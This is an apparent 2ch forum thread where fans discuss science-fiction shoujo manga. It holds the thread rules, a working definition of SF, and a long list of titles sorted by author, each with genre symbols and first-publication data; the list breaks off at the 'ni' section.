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SF少女漫画を語るスレッド★第3惑星


1 :06/10/28 〜 最終レス :11/12/31
色々なSF少女漫画の内容を語り合いましょう。
>>3以降にあるような作品を(不定期ですが改訂補完リストが出たらその分も)。
新規紹介作品は、初出や単行本データが分かる場合それも添えて下さい。
・SF要素を中心に、 具体的な内容紹介/感想意見を歓迎。
・多少のネタバレ可、結末などの重要部分なら[メール欄]または予告の上で数行空けてから。
・タイトル不明の作品は、ストーリー内容を書けば誰かが知っているかも。
 
初めて書き込む方は“ SF少女漫画”の定義>>2も参照して下さい(改訂されたらそちらを優先)。
前スレはこちら ↓
 SF少女漫画について語るスレ
  http://comic6.2ch.net/test/read.cgi/gcomic/1144803511/ (2006/04/12 - 09/26)
 SF少女漫画を語るスレッド★第2惑星
  http://comic6.2ch.net/test/read.cgi/gcomic/1159052141/ (2006/09/24 - 10/28頃)
過去ログまとめ整理サイト(含・各作品の簡略紹介)
 ttp://www23.ocn.ne.jp/~lyric/sfgc/list_pre2.html
スレッド使用容量が500KBに近付いたら新スレ移行するかもしれません。

2 :
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“ SF少女漫画”の定義
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このスレッドの“ SF少女漫画”の定義は、今のところ、次のような優先順位になっているようです。
 (1) SF(サイエンスフィクション) の要素が大きいもの 。
    未来世界or未来社会(進化した街や科学技術などが登場。人類の歴史の終焉も含む)
    太陽系内外の星(惑星開発、宇宙船、宇宙飛行士、星間業者等)
    異星人・異星の生命体(侵略、ファーストコンタクトも含む)
    ロボット・アンドロイド・サイボーグ
    人工生命体(遺伝子操作などで生まれる有機的な生命体。ミュータント的新人類、クローンなど)
    タイムマシンや冷凍睡眠によるタイムトラベル・タイムスリップ
    ESP(精神感応・予知・透視・念動、空間移動などの超能力を持つ新人類や生命体)その他
 (2) サイエンス考証の淺いものでも、作品の世界観がSF、作家の視点がSFとして挙げられたものは、
   サイエンスファンタジーあるいはライトSFと考える。
   部分的にSF要素が含まれる作品は、本来のジャンルも理解する。
 (3) 非科学的な設定は、SF要素には含めない。
    神、妖精、天使、魔法の存在する異世界、
    心霊現象、転生、ホラーやファンタジーの超能力・スリップ・変身等
 基本的に少女向け漫画雑誌とその後継的な女性向け漫画雑誌/単行本に載った作品ということで。
 読者対象が少年青年向け低学年向けの雑誌は含めません。
 作品執筆の時期によっては編集方針や読者層が変わっているケースもありますので、
 WINGSやリュウは1980年代まで、少女雑誌は1970年代以降が目安になっています。
========================================
未来や宇宙を舞台にしたSFの他に、現代が舞台になるSFや伝奇SF等も含めて、
SF要素中心でも、あらすじ中心でも、書きやすいスタイルでどうぞ。
このSF作品はこういう観点から読んでいる、ここが気になる等は、
簡単なあらすじも書いていただければ、みなさんにもわかりやすいと思います。

3 :
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 既出作品一覧について 
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執筆時期のわかりやすいもの、文庫化などで現在入手しやすいものを優先しています。
 ■サイエンスフィクション・ハードSF
 ▲スペースファンタジー・ライトSF
 ※部分的にSF要素が加わっている作品(ラブコメ等の基盤ジャンル+SF要素で表記)
 △非科学性ファンタジー要素+科学的SF要素で成り立っている作品(伝奇SFなど)
 *SF要素が殆ど見られない作品(全容がホラー・サスペンス・ミステリー系になる作品等)
 □具体的なSF内容が未報告の作品
   (SF度がわかりにくい場合。初出誌や単行本の所在が確認できただけのもの。)
■▲※△*については、初出誌や発表年代と合わせてSF度の目安と考えて下さい。
最新のレス内容を反映した暫定的なものなので、変動するものもあります。
□以外で、整理人が現時点で未読のものは、作品名の末尾に【整理人未読】の表記が入っています。
作者名の横にある『 』は長編とシリーズ物、「 」は独立した短編です。
===============================================
既出作品一覧(作家名50音順) 【前スレの最新レス 568 以降は、次回の改訂補完時に。】
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ハードSF/ライトSF/部分的にSF/伝奇SF系/ホラーやファンタジーの超能力物タイムスリップ物など
   初出年代誌名が不明のものは初収録の単行本を記載
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【あ】
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※青池保子『イブの息子たち』(1976プリンセス1月号〜1979.8月号 全6部+番外編)
▲碧也ぴんく『ニューエイジ八犬伝 BLIND GAME』(1996〜あすかコミックスDX)【整理人未読】
▲赤石路代『ふ・し・ぎのRin』(1990〜ちゃお) 【整理人未読】
※赤石路代『AMAKUSA 1637』(2001〜2005フラワーズ) 
*赤石路代『天よりも星よりも』(1986〜ちゃお連載) 【整理人未読】

4 :
*赤石路代『セイント SAINT』(初出未確認) 1992〜角川書店あすかコミックス(全5巻)【整理人未読】
■秋里和国『ルネッサンス』(1989プチフラワー11月号〜1991.3月号) 
■明智抄『サンプル・キティ』(1993別冊花とゆめ〜1995.8月号)
■明智抄『砂漠に吹く風』(1995別冊花とゆめ9月号〜1996.7月号〜他誌)【整理人未読】
■明智抄『死神の惑星』(200?〜 コミックアイズ)【整理人未読】
■明智抄『キャプテン・コズミック』【整理人未読】
     「アルベリッヒに逢いたい」(初出未確認)「ごめんねアルベリッヒ」(1988別冊花とゆめ秋の号)
▲浅川まゆみ「時の墓標」(1982プリンセスゴールド)
▲浅川まゆみ「閉ざされた記憶の中に」(1981プリンセスゴールド)
■浅川まゆみ「フレイアの目ざめた朝」(1981ビバプリンセス冬号)
■浅川まゆみ「星に還る時」(1981ビバプリンセス春号)
■浅川まゆみ「禁猟区」(1978ビバプリンセス秋号)
■浅川まゆみ「還らざる未来へ」(1980ビバプリンセス秋号)
■浅川まゆみ「ダークブレイン」(1983ウイングス5〜7号)
■浅川まゆみ「銀色狼」(1982ウイングス2号)
■浅川まゆみ「訪問者」(1983ウイングス4号)
▲浅川まゆみ「渡し舟」(1984 SF漫画競作大全集24号)
■浅川まゆみ「旅人」(1970年代?アマチュアの頃に書いた作品)
▲浅川まゆみ「時間旅行は利息つき」(1982リュウ1月号)
■あさぎり夕「青い宇宙のルナ」(1978なかよし8月増刊号)
▲浅見侑『A・Iレボリューション』(1995プリンセス〜2003.8月号)
▲亜月裕『昭和アホ草子 あかぬけ一番!』(初出未確認) 1985〜マーガレットコミックス(全9巻)【整理人未読】 
■吾妻ひでお「ノヴァ」(1976ビバプリンセス秋季号) 
■あずみ椋「神々の千の顔」(1982ウイングス2号)【整理人未読】
※あずみ椋『楽園は眠らない』(1996〜1997LCミステリー)【整理人未読】
△あずみ椋『パイラザーダ』(1983〜1984ウイングス16号まで連載) 
▲厦門潤『KENIYA 草と惑星』(1988〜1991ウイングス)【整理人未読】
*亜藤潤子(原作: 新井素子) 『扉を開けて』(1986花とゆめ20号〜24号)
*有吉京子『救世主入門』(1993別冊プリンセス10号〜1994.17号)【整理人未読】

5 :
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【い】
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*池田さとみ「アルジャーノンにゆりかごを」(初出未確認)1993眠れぬ 夜の奇妙な話コミックス【整理人未読】 
▲石原理『DUMPSダンプス』(初出未確認) 1994青慈ビブロス.ゼロコミックス【整理人未読】
▲石原理『カプセル・ヨードL』(1994ZEROハル号〜1996.VOL.12)
▲石原理『電子少年デジタルゴースト』(初出未確認)1999ウィングスコミックス【整理人未読】
▲石原理『東京ブギィウーギィ』(1997ZERO.vol.14〜1998.vol.21)
▲石原理『セルナンバー8』(1998ZERO.vol.22〜2000..vol.27) 
△市川ジュン『風の杜夜話』(SAKURAミステリー)2002〜あおばコミックス
▲一条ゆかり「雨のにおいのする街」(1972りぼん8月号別冊付録) 
※一条ゆかり『こいきな奴ら Part.2』(1986週刊マーガレット37号〜41号)
■樹なつみ『OZ』(1988 LaLa 増刊〜1992) 
■樹なつみ『獣王星』(1993 LaLa〜2006 メロディ)【整理人未読】
*樹なつみ『朱鷺色三角(トライアングル)』(1984LaLa8, 9月号〜1985.10月号〜1987)【整理人未読】
*樹なつみ『パッションパレード−朱鷺色三角 2』(1987LaLa6月号〜1989.7月号)【整理人未読】
▲伊東愛子「鳥人島」(1976別冊少女コミック10月号) 
■伊東愛子「星を渡る犬たち」(1976別冊少女コミック3月号)
※今市子「神々の花」(1991同人誌) 2002朝日ソノラマ文庫『懐かしい花の思い出』に収録
△今市子「砂の上の楽園」(1996ネムキvol.30)
△今市子「夜の雫」(1992同人誌) 2002朝日ソノラマ文庫『懐かしい花の思い出』に収録
▲泉左京「コンパクト・ミラーマン」(1979花とゆめ1号)【整理人未読】
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【う】
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※宇野亜由美『ダーリング』(2000メロディ11月号〜2001.9月号)
▲牛島慶子『イライア』(1996ミステリーDX6〜12月号, 1997.1〜5月号)
■内田美奈子「良治郎帰還せず」(1983ウイングス5号) 
※内田美奈子「百万人の数学変格活用」(1981デュオ12月号〜1982.3月号)【整理人未読】

6 :
*内田美奈子「キャンパス8(エイト)」(1979リリカ3月号)【整理人未読】 
▲内田美奈子『赤々丸』(1983ウイングス7号〜1987.7月号) 
*浦川まさる『九太郎がやってきた!』(1987りぼん10月号〜1988.9月号)【整理人未読】
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【え】
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■遠藤淑子『ヘヴン』(1998メロディ10月号, 1999.4月号,10月号)
■遠藤淑子『ヘヴン2』(2000メロディ10,11,12月号, 2001.4,5月号)
※遠藤淑子「パンドラの函」(1989花とゆめ9号)【整理人未読】
※遠藤淑子「改良型スズキ君」(1993花とゆめ19号)
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【お】
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■笈川かおる「へ・へ・への方程式」(1982ぶ〜け1月号)
■笈川かおる『君を待つ千夜』1989秋田書店キャンドルコミックス【整理人未読】
△笈川かおる「羽衣」三部作  (初出未確認)
 『羽衣一景』『ショウダウン』『夢の終わり』1987〜秋田書店キャンドルコミックス【整理人未読】
※大島弓子「ロング・ロング・ケーキ」(1987ASUKA6月号) 
*大島弓子『ジョカへ…』(1973別冊少女コミック4,7,9月号)【整理人未読】 
▲岡野史佳「薔薇科少年」(1998別冊花とゆめ2月号)
▲岡野史佳「月齢14.8」(1997別冊花とゆめ7月号) 
▲奥友志津子『ドリーマー』』(1980〜1985ひとみDX)
▲奥友志津子『レフト・ロンリー』(1983ひとみDX8月25日号, 1987Candle.vol5,vol6)
■奥友志津子『パーフェクション』(ボニータ)1986秋田書店 
■奥友志津子『レッドリンクス』(ボニータ)1988秋田書店
■奥友志津子「明日への終止符」( 1975りぼん夏の増刊号)
■奥友志津子「ラザ市にて」(1976りぼんデラックス夏の号)
■奥友志津子「さすらい人たち」(1977りぼんデラックス冬の号)
■奥友志津子「冬の惑星」(1978りぼんデラックス冬の号)
■奥友志津子「サラの樹の下で」(1981ひとみ6月号)
■奥友志津子「宇宙岬」(1982プチフラワー1月号)

7 :
▲奥友志津子「パターンA」(1982ウイングス2号)
■奥友志津子「遠い雷鳴の中」(1978デジール増刊号)
■奥友志津子「自然淘汰」(1979デジール増刊号)
■奥友志津子「緑の園のほとりで」(ボニータ) 1989秋田書店ボニータコミックス
▲小花美穂『パートナー』(1999りぼん9月号〜2000.10月号)
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【か】
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▲花郁悠紀子「昼下がりの精霊」(1979ビバプリンセス春号)
▲花郁悠紀子「水面に咲く」(1978ビバプリンセス春号) 
■花郁悠紀子「風に哭く」(1980ボニータ夏号) 
△花郁悠紀子「フェネラ」(1977プリンセス7〜8月号)
▲柿崎普美『星樹』(週刊マーガレット連載)【整理人未読】
▲柿崎普美『守ってあげたい』(週刊マーガレット?)【整理人未読】
△柿崎普美『せいいっぱいのテレパシー』(1979週刊マーガレット6号〜)【整理人未読】
△柿崎普美『吸血樹』(?年 週刊マーガレット連載) 1981/2000集英社MC(全1巻)【整理人未読】
△かずはしとも「ひかりのまち」(2002ホラーM 7月8日発売号) 【整理人未読】
▲和深ゆあな『空夢のうた』 (初出未確認) 2001角川書店あすかコミックス(全1巻)【整理人未読】
*片山愁(原作: 宮沢賢治)「銀河鉄道の夜」 (初出未確認) 1996角川書店あすかコミックスDX(全1巻)【整理人未読】
▲かまたきみこ『深海蒐集人』(2001頃〜2003ネムキ11月号)
■河あきら「ありがとうエス」(1969別冊マーガレット12月号)【整理人未読】
▲河あきら「あわせて150」(1990Jour8月号)【整理人未読】
▲河あきら『ジャングル・ナイト』(1986 BE-LOVE 9月2日号〜1987 第6号)【整理人未読】
※ 河あきら『WONDER!』(2002Jourすてきな主婦たち7月号〜2006.10月現在連載中)【整理人未読】
▲川崎ひろこ「時の彼方に」(1975別冊マーガレット1〜2月号)【整理人未読】
*河内実加『オパーリン』 (初出未確認)1992〜1994小学館.別コミFC(全3巻)【整理人未読】

8 :
■川原泉『ブレーメンII』(1985別冊花とゆめ夏の号〜PUTAO〜2004メロディ)
■川原泉「アンドロイドはミスティー・ブルーの夢を見るか?」(1985別冊花とゆめ夏の号)
△川原泉『バビロンまで何マイル?』(1990花とゆめ19号〜1991.8号) 1997白泉社文庫
▲川原由美子『観用少女 - プランツ・ドール - 』(1992眠れぬ夜の奇妙な話〜1999ネムキ)
  第9話「宝石姫」 第21話「メランコリィの花冠」
■川原由美子「翡翠の森」(1987ちゃお12月号〜1988.1月号)
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【き】
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▲喜多尚江「月のたまご」(2000増刊 ザ花とゆめ 3月1日号)【整理人未読】
▲喜多尚江『ダブルムーン』(花とゆめ1997年16号, 21号)
▲北川玲子「暗闇に葬れ」2004ダイソー ハッピーコミックス
■北原文野「 P」シリーズ (1985〜2004ウィングス, プチフラワー, コサージュ, ミステリーボニータ他)
 『L6−外を夢みて−』「L6外伝 草原の子ども」
 『砂漠に花を…』『砂漠の鳥たち』『砂漠をわたる風』
 『夢の果て』「夢の果て外伝 GREEN ZONE」「夢の果て外伝 残像〜夢-時をこえて」
 『クァナの宴』「魂を鎮める歌」「SNOW FESTIVAL 雪の日」
 「トゥリオ/アリステア4部作」「トゥリオ/アリステア4部作外伝 夜明けまで」
 『瞳に映るは銀の月〜妖精計画』『瞳に映るは銀の月〜地上の園』
▲北原文野「もうひとつのハウプトン」(1980別冊少女コミック1月増刊) 
■北原文野「月がみえる…」(1986GROUP26号) 
■北原文野「きのういたベン」(1985プチフラワー2月号) 
▲北原文野「明日の作文」(1980年代初期?同人誌)1989新書館『きのういたベン』に収録 
▲木原敏江「銀河荘なの!』(1974週刊マーガレット26〜44号) 
*木原敏江「夢の碑」シリーズ(1978週刊少女コミック〜1979LaLa〜1984プチフラワー〜1998)
■清原なつの『アレックス・タイムトラベル』(1981りぼんオリジナル冬, 1982早春, 初夏, 夏, 秋の号)
■清原なつの『真珠とり』(1981りぼんオリジナル春, 夏, 秋の号) ←三部作のオムニバス
▲清原なつの「金色のシルバーバック」(1989ぶ〜け9月号)

9 :
▲清原なつの「銀色のクリメーヌ」(1989ぶ〜けせれくしょん6月20日号)
※清原なつの「飛鳥夢語り」(1987りぼん7月号)【整理人未読】
*清原なつの「千の王国百の城」「千の王国百の城 II」(1990ぶーけ7月号, 1993.3月号)
*清原なつの「流水子さんに花束を」(1980りぼん11月増刊号)
※桐島いつみ『まっかな人間像』その10「エスパー」(1994ぶ〜け1月号)【整理人未読】
※桐島いつみ「予期した出来事」(1990ぶ〜けデラックス初秋の号) 【整理人未読】
※桐島いつみ「いきなりSF」(1984ぶ〜け 6〜7月号)【整理人未読】 
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【く】
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▲久雅カイン(原作: 矢立肇)『シューティングスター ビバップ』(1997ファンタジーDX10月号〜連載)
▲南天佑(原作: 矢立肇) 『カウボーイビバップ』(初出未確認)1999〜あすかコミックス【整理人未読】
■くらもちふさこ『α』「#1」=第1話(コーラス2001年3月号)
△CLAMP『カードキャプターさくら』(1996なかよし6月号〜2000.7月号)
*桑田乃梨子『君の瞳に三日月』(1994LaLa10月号〜1995.9月号)【整理人未読】
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【こ】
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▲高河ゆん『アーシアン』(本編1987ウイングス8月号〜1995サウス24号 他)
■高河ゆん『サフラン・ゼロ・ビート』1993ウイングスコミックス【整理人未読】
■高河ゆん「約束の夏」(1991ウイングス10〜11月号)【整理人未読】 
*神坂智子「シルクロード」シリーズ(1981〜1990花とゆめ, ウイングス, 花とゆめEPO)
 『はるかなるシルクロード』『風とビードロ』『宇宙ゆく帆船』『姫君の塔』『ゾマの祭り』
 『巻毛のカムシン』『砂漠幻想』『ヘディンの手帳』『雪の朝−ホワイトカングリー−』
 『欠けたるもの満ちたるもの』『永遠を見る娘』
 『風の輪・時の和・砂の環』『カレーズ』
■神坂智子「風とビードロ」「風の子守歌」「風のメモリアル」←シルクロードシリーズ内の三部作

10 :
▲後藤星「踊り場解放区」 (2001コミックeyes12月号, 2003〜2005幻想ファンタジーVOL.1, 3, 4, 5) 
▲後藤星「星のソーダ」 (2003幻想ファンタジーVOL.2)
※小林薫『ATHENA16』1997〜あすかコミックス【整理人未読】
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【さ】
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■佐伯かよの「世界一幸福な男の話」(1972りぼん4月増刊号) 
■佐伯かよの「地球最後の男の話」(1972りぼん夏の増刊号) 
■佐伯かよの「もしも…」(1973りぼん4月増刊号)
■佐伯かよの「ミルキー・ラブ」(1976りぼんデラックス夏の号) 
*佐伯かよの「紅いラプンツェル」 (1984ギャルコミ12月号) ←「彩子」の続編
*佐伯かよの「午後5時1分前…!」(1973 りぼん10月増刊号) 
*佐伯かよの「黄泉からの声」(1980ポップティーン12月号)
■坂田靖子「予言者(やわらかい機械2)」(1987SFマガジン7月号)【整理人未読】
▲坂田靖子「宇宙からの来訪者」(1983アラン15号)【整理人未読】
▲坂田靖子(原作: フレドリック・ブラウン)「プラセット」」(1983デュオ9月号)
▲坂田靖子「半熟少年」(1986ジュネ7月号)
▲坂田靖子「エイリアン88」(1988ジュネ7月号)
▲坂田靖子「注文の多い喫茶店」(1994ジュネ5月号)【整理人未読】
▲坂田靖子「三匹の牛とライオンの話」(1997コミックトム2月号)【整理人未読】
※茶木ひろみ『姫 クラシックガール』(1986週刊マーガレット2号〜9号) 
■作画グループ『銀河を継ぐ者』(1981週刊少女フレンド9号〜13号)
■作画グループ『ダリウスの風』(1977週刊少女コミック11〜15号)
■佐々木淳子『ブレーメン5』(1979 週刊少女コミック増刊〜1989 コロネット)
■佐々木淳子『那由他』(1981〜1982 週刊少女コミック)
■佐々木淳子『ダークグリーン』(1983 週刊少女コミック〜1986 コロネット)
■佐々木淳子「リュオン」「ターン」「ヒュウ」(2002Magazine ZERO春の特別号+書き下ろし)
■佐々木淳子「みどりの大地」(1976) 
■佐々木淳子「霧ではじまる日」(1982)
■佐々木淳子「オパールの竜」(1989ASUKA5月号)
▲佐々木淳子「ベビーNの幸福」(1988〜1986プチコミック12月号1月号)

11 :
■佐々木淳子『SHORT TWIST』(1988プチフラワ−6, 8月号) 
■佐々木淳子「リディアの住む時に…」(1977) 
▲佐々木淳子「Who!」(1980) 
■佐々木淳子「メッセージ」(1979週刊少女コミック増刊9月30日号)
■佐々木淳子「セピア色したみかづき形の…」(1981) 
▲さちみりほ「花笑みの島」2000原書房【整理人未読】
■佐藤史生『夢みる惑星』(1980〜1984 プチフラワー)
■佐藤史生『ワン・ゼロ』(1984プチフラワー108月号〜1986.8月号)
▲佐藤史生『打天楽―ワン・ゼロ番外編』(1987プチフラワー4〜5月号)
■佐藤史生『やどり木』(1986〜1987 グレープフルーツ)
▲佐藤史生『魔術師さがし』(2000プチフラワー1,3,5月号, 書き下ろし)
■佐藤史生「金星樹」(1978別冊少女コミック4月増刊号) 
■佐藤史生「星の丘より」(1977別冊少女コミック5月増刊号)
■佐藤史生「花咲く星ぼしの群れ」(1978別冊少女コミック8月増刊号)
■佐藤史生「一角獣の森で」(1978別冊少女コミック8月増刊号)
■佐藤史生「チェンジリング」(1989プチフラワー3月号)
■佐藤史生「ネペンティス」(1989プチフラワー5月号) ←「チェンジリング」続編
■佐藤史生「バビロンまで何マイル」」(1997プチフラワー1月号.3月号)
■佐藤史生「心臓のない巨人」(1998プチフラワー11月号.1999.1月号)
■佐藤史生「阿呆船」(1980別冊奇想天外No.9 SFマンガ競作大全集第4号)
■佐藤史生「羅陵王」(1985LaLa12月号)
■佐藤史生「馬祀祭」(1982グレープフルーツ3号)
■佐藤史生「天界の城」(1983SFマガジン10〜12月号) ←「馬祀祭」続編
■佐藤史生「ムーン・チャイルド−月の子− 」(1986プチフラワー12月号)
■佐藤史生「楕円軌道ラプソディ」(1987プチフラワー9月号) ←「ムーン・チャイルド 」続編
■佐藤史生(原案: 徳永メイ「マーテル・ノストラ」より)「アレフ」(1985グレープフルーツ23号)
▲佐藤史生(原案: 徳永メイ)「タオピ」(1987プチフラワー11月号)
▲里中満智子『まちこの千夜一夜』(1983〜mimi, mimiカーニバル)
  第8話「ぼくのアフロディーテ」第13話「ブタは社会の味方です」
  第20話「不死身のヒーロー」  第35話「愛の宇宙」 第37話「あなたの夢をかなえます!」

12 :
▲里中満智子『まちこの千夜一夜』(1983〜mimi, mimiカーニバル)
  第39話「いつでもそばにいて」 第52話(最終話)「かけがえのない一日」
▲里中満智子『夜のメルヘン』(1993〜コミックVAL) 
  第18話「清き一票」 第20話「そして2人は…」
*里中満智子『夜のメルヘン』第14話「見えすぎて!」
■里中満智子『くらい空のはてに』(1965 週刊少女フレンド21号)【整理人未読】
※里中満智子『ミスター・レディ』(1976なかよし10月号〜1977.8月号)【整理人未読】
△佐野真砂輝&わたなべ京『トーキョー・ガーディアン』((1997ファンタジーDX10月号〜連載))【整理人未読】
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【し】
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▲市東亮子『LIVE!』1999〜2000ソニーマガジンズ
▲紫堂恭子「ブルー・インフェリア」(1990年代前半〜コミックトム連載+書き下ろし)
▲紫堂恭子「海からきた星たち」(1990プチフラワー7月号)
■篠原烏童『沈黙は星々の渇き』(チャキチャキ→獅子王)1994朝日ソノラマ【整理人未読】
■篠原烏童「アシェス」「アシェス2」(ウイングス1989年6月号,11月号)
△篠原烏童『ファサード』 (1990ウイングス1月号〜2006.6月号) 
▲篠原千絵「冬の花は鎮魂歌」 (1982コロネット冬の号)
▲篠原千絵「クリスタル・ドール」 (1982コロネット秋の号)
*篠原千絵「紅い伝説」 (1981コロネット冬の号)
*篠原千絵「語部伝説」 (1982コロネット春の号)【整理人未読】
*篠原千絵『海の闇、月の影』(1987週刊少女コミック3号〜連載) 
*篠原千絵『闇のパープル・アイ』(1984〜週刊少女コミック連載) 
■柴田昌弘『赤い牙 ブルー・ソネット』(1974マーガレット〜1987花とゆめ)
■柴田昌弘『フェザータッチ・オペレーション』(1982〜1988ウイングス)
■柴田昌弘『グリーン・ブラッド』(1981少年少女SFマンガ競作大全集10号〜1988花とゆめEPO )
■柴田昌弘「盗まれたハネムーン」(1980花とゆめ8号)
■柴田昌弘「ミッシング・アイランズ」(1988花とゆめEPO7月号)

13 :
■柴田昌弘「枯葉の街」(1980少年少女SFマンガ競作大全集8号)
■柴田昌弘「ワフ・ヴァレーの神話」(1983リュウ11月号)
■柴田昌弘「村祭りの夜」(1981花とゆめ5月増刊号) 
■柴田昌弘「修理屋」(1984SFマンガ競作大全集1月号) 【整理人未読】
■柴田昌弘「ひとりぽっちの戦争」(1980少年少女SFマンガ競作大全集7号)
■柴田昌弘「未来都市バラン」(1980花とゆめ19,20号) 
▲柴田昌弘「魔法のラケット」(1973別冊マーガレット11月号)【整理人未読】
■柴田昌弘「サンルーム」(1986花とゆめEPO6月号)
△柴田昌弘「サイキック・トラベラー」(1989花とゆめEPO3月号)
■柴田昌弘「第3の娘」(1980年 花とゆめ14号)
▲柴田昌弘「海底土人8823」(1980花とゆめ5号)
※柴田昌弘「成層圏のローレライ」(1980花とゆめ夏の増刊号) 
*島貴子『Let's go奈々!』(1980ちゃお9月号〜連載)【整理人未読】
▲清水玲子「ジャック&エレナ」シリーズ(1985LaLa〜1993)
  「メタルと花嫁」「ミルキーウェイ」
  『竜の眠る星』「天使たちの進化論」「22XX」
▲清水玲子『月の子 ―MOON CHILD―』(1988〜1992 LaLa)
▲清水玲子『パピヨン』(1993LaLa3〜4月号)
▲清水玲子『輝夜姫』(1993〜2005 LaLa) 
■清水玲子『秘密―トップ・シークレット』(1999〜2006 メロディ)
▲清水玲子「もうひとつの神話」(1985LaLa3月号)
▲清水玲子「夢のつづき」(1988LaLa4月号)【整理人未読】
▲清水玲子「ノアの宇宙船」(1985LaLa Wendy1号)
▲清水玲子「ネオドーベルマン」(1986LaLa Wendy+SPRING)
※庄司陽子「風の福音」1993講談社BELOVE KC『風の福音』【整理人未読】
▲伸たまき 「カインド・マシン」(1983ウイングス)【整理人未読】 
▲伸たまき「2821コカコーラ」(1986ウイングス4〜8月号)
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【す】
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▲杉本亜未『ANIMAL X』 (1991ASUKAミステリーDX〜Chara2004.6月号)
■鈴木葉子「グリーン色の遺言状」(1974週刊マーガレット6,7合併号〜9号)【整理人未読】

14 :
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【せ】
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△瀬口恵子「にゃんとエイリアン!?」(初出未確認) 1992講談社フレンドKC【整理人未読】
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【そ】
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■曽祢まさこ「ふたりめの神話」1986講談社KCなかよし【整理人未読】
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【た】
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■高口里純 『明日のために』(1998コミックバーズ8月号〜1999.7月号)【整理人未読】 
▲高階良子『地獄でメスが光る』(1972なかよし7月号〜10月号)
▲高橋冴未『きみにやどる星』(1994ウイングス1〜3月号)
▲高橋冴未「マインド・エレクトリック」(かわなみはるか名義、1990花とゆめEPO 1月号) 
▲高橋冴未「マインド・オペレイション」←続篇 (かわなみはるか名義、1990花とゆめEPO 11月号) 
▲高橋冴未「君だけのオルゴールBoy」(かわなみはるか名義、1990花とゆめEPO 7月号) 
▲高橋由紀『おわらない夢を綴る君に』(1992花とゆめ20〜21号)
■竹宮恵子『地球へ…』(1977〜1979マンガ少年)
■竹宮恵子『集まる日』終笛シリーズ(1978別冊少女コミック 他)
■竹宮恵子 (原作: 光瀬龍)『アンドロメダ・ストーリーズ』(1980マンガ少年〜1983 デュオ)
■竹宮恵子『私を月まで連れてって!』(1977SFファンタジア,1980フォアレディ〜1986プチフラワー) 
■竹宮恵子「エデン2185」シリーズ (1985プチフラワー他) ←『私を月まで〜』番外編「シド」シリーズ
      「E=MC2」「エデン2185」「意の底」
      「エデンの国境」「ふる星のごとくに」「宇宙に永遠」
■竹宮恵子『ブライトの憂鬱』(2000〜2004メロディ)『私を月まで〜』次世代編 
■竹宮恵子「ジルベスターの星から」(1975別冊少女コミック3月号)
▲竹宮恵子「真夏の夜の夢」(1975別冊少女コミック5月号) 

15 :
■竹宮恵子「告白」(1979 LaLa10〜11月号) 1996中公文庫『告白』に収録
▲竹宮恵子「砂時計-三つのSF世界-」(1978週刊少女コミック増刊フラワーコミック6月30日号)
■竹宮恵子 (原作: 光瀬龍)「決闘2108年」(1980 週刊少年マガジン39号)
▲竹宮恵子「MIRAGE」(1984ぶ〜け5月号, 1985.10月号) 1996中公文庫『告白』 に収録
※竹宮恵子「夢狩人」(1983 別冊少女コミック8月号) 1996中公文庫『オルフェの遺言』 に収録
※竹宮恵子「雪国」(1983 奇譚5号) 1996中公文庫『意の底』 に収録
▲竹本泉『あおいちゃんパニック!』(1983なかよし2月号〜1984.7月号)【整理人未読】
▲竹本泉「アニー・パトロール」「アニー・パトロール2」(1991〜1992なかよし増刊るんるん)【整理人未読】
▲竹本泉『ねこめ〜わく』(1991アップルファンタジー〜2005〜ネムキ増刊.夢幻館等)
△竹本泉「魔神空をゆく」(1991アップルミステリー9月号)【整理人未読】
△竹本泉『ちまりまわるつ』(1989なかよしデラックス初夏の号〜1992アップルミステリー)【整理人未読】
※忠津陽子「勝手にしてよ!」(1978LaLa1月号)【整理人未読】
▲忠津陽子「花のアイドル伝」(1971別冊マーガレット1月号)【整理人未読】
▲立原あゆみ『すーぱーアスパラガス』(ひとみ)1982〜秋田書店ひとみコミックス【整理人未読】
▲立原あゆみ「猫の惑星」(1982ぶ〜け7月号?)
■橘水樹・櫻林子『JANE』(1990PATSY10号〜1994頃.ZERO〜1999.vol.25) 
▲立野真琴(原作: 飯田譲治)『NIGHT HEAD』(1996〜花とゆめPlanet増刊, 別冊花とゆめ他)
※立野真琴『CUTE×GUY』(2004別冊花とゆめ3月号〜2006.7月号)
■田村由美『7SEEDS』(2001別冊少女コミック〜2002フラワーズ〜連載中) 
▲田村由美『BASARA』(1987別冊少女 コミック9月号〜連載)
▲つじいもとこ「オルフェよ竪琴を弾け」(初出未確認)1991大陸書房『パンドラクライシス』に収録【整理人未読】
■筒井百々子「たんぽぽクレーター」シリーズ(1983〜プチフラワー, ウイングス, クレッセント連載)
  『たんぽぽクレーター』『火星に捧げるデュエット』
  『ものまね鳥シンフォニー』『小さき花や小さき花びら』
△堤抄子『アダ戦記』2003〜ゼロサムコミックス【整理人未読】

16 :
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【と】
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■東城和実「禁区 SECRET AREA」(初出未確認) 1990大陸書房メヌエットコミックス【整理人未読】
※東城和実「黒いチューリップ」シリーズ (1990サウスNo.9〜連載)【整理人未読】
  『津軽海峡冬景色』『恋の奴隷』『明日は咲こう花咲こう』
  『悲しいほどお天気』『天使の誘惑』『愛と死を見つめて』
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【な】
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▲中村かなこ『赤い星』(初出未確認) 1997小学館フラワーコミックス
△中村地里『銀のキメイラ』1986〜1991秋田書店ひとみコミックス【整理人未読】
△中村地里『新・銀のキメイラ』1993〜1994秋田書店ひとみコミックス【整理人未読】
*中村真理子『レア者』(2002〜2003Vanilla連載)【整理人未読】
▲中山星香(原作: トム・リーミィ)『沈黙の声』(1984デュオ5月号〜1985.3月号)【整理人未読】
※中山星香「13枚綴りのお客人」(1980ビバプリンセス冬号)【整理人未読】
※中山星香『聖祈苑へようこそ』(1978プリンセス8月号〜1979.2月号)【整理人未読】
△中山星香『はい!どうぞ』(1977プリンセス6月号〜1978.7月号)【整理人未読】
▲那州雪絵「美形いりませんか?」(初出未確認) 1993白泉社HC 『ダーク・エイジ』に収録【整理人未読】
▲那州雪絵『フラワー=デストロイヤー』(1985〜1987花とゆめ,EPO, 1991花とゆめ) 
▲那州雪絵「智美&徹」シリーズ(1985〜1986別冊花とゆめ,花とゆめ) 
  「U.F.チャンス」「秘密だよ」「BOYのテーマ」「冬の瞳」
▲灘しげみ『時のかなたに』(1975週刊少女コミック連載)【整理人未読】
*灘しげみ『タン・ハー -渇愛- 』(1977年頃 ちゃお連載)【整理人未読】
■成田美名子「はるかなる黄金の砂漠」(1978LaLa8〜9月号)
▲なるしまゆり『原獣文書』(1995サウスSummer〜)
▲なるしまゆり『プラネット・ラダー』(1998コミッククリムゾンNo.1〜) 

17 :
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【に】
